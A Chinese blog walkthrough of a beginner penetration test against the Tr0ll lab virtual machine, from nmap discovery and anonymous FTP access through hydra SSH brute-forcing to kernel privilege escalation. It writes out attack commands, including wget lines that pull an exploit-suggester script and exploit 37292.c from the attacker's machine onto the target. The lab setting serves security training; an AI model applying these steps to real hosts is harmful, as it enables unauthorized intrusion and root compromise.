一次零基础靶机渗透细节全程记录

news2024/12/30 2:37:55

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是kali自身的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.139。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.139

        可以看到此靶机开放了21、22、80端口。其中:开放了21端口ftp,可以想到可能存在弱口令;开放了22端口ssh,可以想到对其进行爆破,然后看到80端口web端,可以对其进行常见漏洞测试。 

        7.对开放的各个端口的进行详细查看。

namp -p- -sS -sV -A 192.168.190.139

        8. 在各个端口的详细信息中,可以看到21端口有个Anonymous登入成功过,因此可以尝试进行弱口令登入,账户名和密码都输入为Anonymous进行尝试。 

        9.尝试后发现确实存在弱口令问题,成功登录了进去。

         10.登录进去之后执行ls命令查看当前目录下有哪些文件,来继续进行信息收集。

         11.发现一个名为“lol.pcap”的文件,我们将其下载到我们本地。

        12.发现是一个流量数据,因此使用wireshark工具对其进行打开。

        13.打开后可以看到下面的内容。

        14.我们随便点击一条流量数据,点击TCP追踪流,可以看到下面的信息,但是并没有发现有用的信息。

        15. 将其关闭后我们可以看到软件上方的筛选信息,此时为0。

        16.将其更改成1后再进行TCP流追踪,可以看到一个txt文件。

        17.此时想到最开始进行扫描的时候,靶机存在开放的80端口,因此想到对其进行搜索,发现搜索结果返回404,说明搜索的结果是没用的。

       18.回到流量工具内,将筛选框后面的1更改为2后继续追踪TCP流,根据其英文解释,可以想到“sup3rs3cr3tdirlol”可能是一个文件的路径,因此再次尝试进行拼接。

         19.拼接后网页返回了下面的内容。

        20.可以看到存在一个名为“roflmao”的文件,点击后将其下载下来。

         21.来到下载路径下后,使用file命令或者strings命令将文件打开。

        22.可以看到还原出来的内容里存在下面的一句话,因此我们尝试将获得的信息再次进行拼接后搜索。

        23.再次进行拼接搜索后进入了下面的页面。

         24.在这里点击“good_luck”后进入了到了下面的页面。

        25. 在此页面内又发现了一个txt文件,点击后可以看到下面的内容,这里就相当于是一个用户名的字典,找到了有用的用户名。

         26.在桌面上创建一个名为user的文档来存储这些用户名。

        27.回到浏览器的前面的页面,发现存在一个可能存在密码的文件。

         28.进入后又发现了一个txt文件,打开后可以看到下面的内容,因此可以想到密码有可能是Good_job_:)也有可能是Pass.txt。

         29.将猜想的可能的密码也放入一个txt文档中当作密码的字典。

        30. 来到桌面路径下使用hydra工具对其进行爆破,可以看到成功将用户名和密码爆破了出来。 

hydra -L user -P password 192.168.190.139 ssh

        31.接下来就使用爆破出来的用户名和密码进行登录,发现登录成功了。 

ssh overflow@192.168.190.139

        32.但是发现此时的权限是低权限:

  • id为:0 root    
  • 0 < id < 1000 服务用户: 为服务提供权限  
  • 1000 <= id <=60000 普通

        因此还要进行提权,下面是linux提权的几种方式:

  • 内核提权---脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权 包括udf mof提权方式

        33.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        34.接下来开始提权。

        35.首先在本地开启一个web服务。

python3 -m http.server 8083

        35. 直接执行下面的命令将脚本文件下载到靶机上,但是发现下载失败了,因为此时权限不够。

wget http://192.168.190.138:8083/les.sh

        36.切换到tmp目录下再次进行下载,发现下载成功了,因为其是一个临时文件,所以在此目录下的权限会高一些,因此就可以成功下载了。

       37.下载完之后将web服务关闭,在终端内按CTRL+z。 

      38.给其添加一个权限后进行执行。

chmod +x les.sh

./les.sh

        39. 这个脚本执行后会检测Linux内核版本存在哪些漏洞,检测出来的结果的颜色越深说明可以被利用的可能性越大。

        40.接下来进行exp的利用就可以了。

        41.下面演示第二种提权方式。

        42.可以通过自己获取到Linux的版本信息,然后在kali内进行搜索。

uname -a

        43.获取到版本信息后执行下面的命令在kali内进行搜索。

searchsploit Linux 4-Tr0ll 3.13.0

        44.在此标红的两条就是满足条件的。

        45.接下来的思路就是将本都的exp搞到靶机的服务器内进行运行,就可以实现提权的效果。

        46.获取到exp的绝对路径。

locate linux/local/37292.c

        47.将其存放在桌面。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面

        48.将其打开后就可以看到exp的内容。

        49. 再从本地开启web服务。

        50. 将exp下载到靶机。

wget http://192.168.190.138:8085/37292.c

        51.下载完之后将web服务关闭,在终端内按CTRL+z。 

        52.将其进行编译和执行,此时再次查看权限,可以看到此时的权限就是root权限了。

        53.查看靶机内的文件proof.txt,至此我们就成功拿下了靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/747117.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

园区预付费远程抄表方案

园区预付费远程抄表方案是一种能够实现园区内电表数据远程采集、实时监控和预付费管理的方案。该方案解决了传统手动抄表方式的不便和不准确问题&#xff0c;同时避免了上门收费的安全隐患和成本问题。下面将从方案组成、工作原理、优点等方面进行详细介绍。 一、方案组成 园区…

P1095 [NOIP2007 普及组] 守望者的逃离

总的来说就是能闪则闪&#xff0c;闪烁在能闪时一定比跑的快&#xff1b;分批进行&#xff0c;判断哪个更快&#xff1b; 直接上代码吧&#xff0c;里面有注释&#xff0c; #include <iostream>using namespace std;const int N 3e5 5; int M, S, T, blue[N], dp[N];…

selenium自动化测试的显示等待

目录 等待条件 条件类的实现原理 WebDriverWait是如何进行条件判断的 selenium里都有哪些条件 然后就是自定义了 总结&#xff1a; 在进行UI自动化测试的时候&#xff0c;我们为了保持用例的稳定性&#xff0c;往往要设置显示等待&#xff0c;显示等待就是说明确的要等到某…

Java中的IO流详解

目录 友情提醒第一章、File类和IO技术概述1.1&#xff09;File类和IO技术的作用1.2&#xff09;创建File类对象1.3&#xff09;File类中的方法1.4&#xff09;文件过滤器&#xff1a;FileFileter 第二章、IO流2.1&#xff09;IO流的分类2.2&#xff09;字节输入流&#xff1a;I…

【Matlab】智能优化算法_非洲秃鹫优化算法AVOA

【Matlab】智能优化算法_非洲秃鹫优化算法AVOA 1.背景介绍2.数学模型3.文件结构4.算法流程图5.伪代码6.详细代码及注释6.1 AVOA.m6.2 boundaryCheck.m6.3 exploitation.m6.4 exploration.m6.5 initialization.m6.6 levyFlight.m6.7 main.m6.8 ObjectiveFunction.m6.9 random_se…

ARPACK特征值求解分析

线性方程组求解、特征值问题是数值线性代数的主要研究内容。力学、电磁等许多问题&#xff0c;最终都可以归结为特征值、特征向量的求解。 ARPACK使用IRAM(Implicit Restarted Arnoldi Method)求解大规模系数矩阵的部分特征值与特征向量。了解或者熟悉IRAM算法&#xff0c;必定…

S32K flash擦除异常以及flash保护 (FLASH_DRV_CommandSequence函数异常)

出现问题 出现擦除flash异常,一直在FLASH_DRV_CommandSequence卡死复位 但是出现比较奇怪的现象&#xff0c;通过DEBUG在线调试&#xff0c;打断点&#xff0c;一步一步调试可以正常对flash正常擦除读写&#xff0c;但是脱离在线调试就出现不能正常擦除读写。 出现这种还是看…

大模型基础之大语言模型的进展

关键字&#xff1a;LLM大语言模型&#xff0c;fine-tuning微调 预训练语言模型的两种范式 1 特征提取器 提取语言的特征和表示&#xff0c;作为下游模型的输入。例如有名的word2vec模型。 use the output of PLMs as the input of downstream model 2 fine-tuning&#xf…

【代码随想录 | Leetcode | 第一天】数组 | 二分查找 | 边界问题 | 34-35-69-367-704

前言 欢迎来到小K的Leetcode|代码随想录|专题化专栏&#xff0c;今天将为大家带来二分查找边界问题&#xff08;循环不变量规则&#xff09;的分享✨ 目录 前言704. 二分查找367. 有效的完全平方数69. x 的平方根35. 搜索插入位置34. 在排序数组中查找元素的第一个和最后一个位…

PN结、形成过程、单向导电性、伏安特性、电容效应

目录 1.1.3PN结 PN结形成过程&#xff1a; PN结的单向导电性&#xff1a; PN结的伏安特性 PN结的电容效应 1.1.3PN结 形成&#xff1a;由于扩散运动而形成 扩散运动&#xff1a;物质总是从浓度高的地方向浓度低的地方运动&#xff0c;这种由于浓度差而产生的运动称为扩散运…

微服务 云原生:微服务相关技术简要概述

后端架构演进 单体架构 所谓单体架构&#xff0c;就是只有一台服务器&#xff0c;所有的系统、程序、服务、应用都安装在这一台服务器上。比如一个 bbs 系统&#xff0c;它用到的数据库&#xff0c;它需要存储的图片和文件等&#xff0c;统统都部署在同一台服务器上。 单体架…

ubuntu20.04配置vscode

下载&#xff1a; https://az764295.vo.msecnd.net/stable/660393deaaa6d1996740ff4880f1bad43768c814/code_1.80.0-1688479026_amd64.debhttps://az764295.vo.msecnd.net/stable/660393deaaa6d1996740ff4880f1bad43768c814/code_1.80.0-1688479026_amd64.deb 安装&#xff1a…

MySQL基础篇第9章(子查询)

文章目录 1、需求分析与问题解决1.1 实际问题1.2 子查询的基本使用1.3 子查询的分类 2、单行子查询2.1 单行比较操作符2.2 代码示例2.3 HAVING中的子查询2.4 CASE中的子查询2.5 子查询中的空值问题2.6 非法使用子查询 3、多行子查询3.1 多行比较操作符3.2 代码示例3.3 空值问题…

vuepress - - - 首页底部版权信息加a标签超链接跳转或备案信息跳转链接

修改前 默认的底部版权信息只能填写纯文本&#xff0c;加不了超链接跳转等。 对应\docs\README.md内容&#xff1a; 修改后 修改后&#xff0c;点击Zichen跳转会打开新的网页。 看官网例子 底部添加了备案号跳转链接。 找到官网的github部署的文件。点导航栏中的“指…

flutter开发实战-实现webview与Javascript通信JSBridge

flutter开发实战-实现webview与H5中Javascript通信JSBridge 在开发中&#xff0c;使用到webview&#xff0c;flutter实现webview是使用原生的插件实现&#xff0c;常用的有webview_flutter与flutter_inappwebview 这里使用的是webview_flutter&#xff0c;在iOS上&#xff0c;…

【IMX6ULL驱动开发学习】20. input子系统(按键实现ls命令)

一、input子系统相关结构体 二、input子系统实例实现&#xff1a; static struct input_dev *key_input;...... ....../* 1.申请空间 */ key_input input_allocate_device(); if(key_input NULL){printk("input alloc failed\n");return -ENOMEM; } /* 2.设置事件类…

Go实现WebSocket

Go语言标准包里面没有提供对WebSocket的支持&#xff0c;但是在由官方维护的go.net子包中有对这个的支持&#xff0c;你可以通过如下的命令获取该包&#xff1a; go get golang.org/x/net/websocket WebSocket分为客户端和服务端&#xff0c;接下来我们将实现一个简单的例子:…

云进销存是什么意思,云进销存系统该如何选?

云进销存是指基于云计算技术的一种进销存管理系统&#xff0c;云进销存系统可以帮助企业或中小商户实时监控库存情况、优化采购和销售流程、提高物流效率&#xff0c;以及生成各类报表和统计分析&#xff0c;从而提升企业或商户的运营效率和管理水平。 一、云进销存对中小商户有…

C#,数值计算——不完全 Beta 函数(incomplete beta function)的源代码

Incomplete Beta Function The incomplete beta function (also called the Euler Integral) is a generalized β-function; An independent integral (with integral bounds from 0 to x) replaces the definite integral. The formula is: Where: 0 ≤ x ≤ 1, a, b > 0…

Pro白嫖esri数据

最近用Pro比较多,想跟大家谈谈一些关于Pro的 技巧。在谈之前,我想问大家一个问题,你真的了解ArcGIS Pro吗? 我想大多数刚刚接触Pro的用户应该是把Pro当做像Map一样的数据处理分析工具,只是简单的从其他地方下载数据来加入工程进行处理和分析 或许在你眼里的Pro和Map仅有…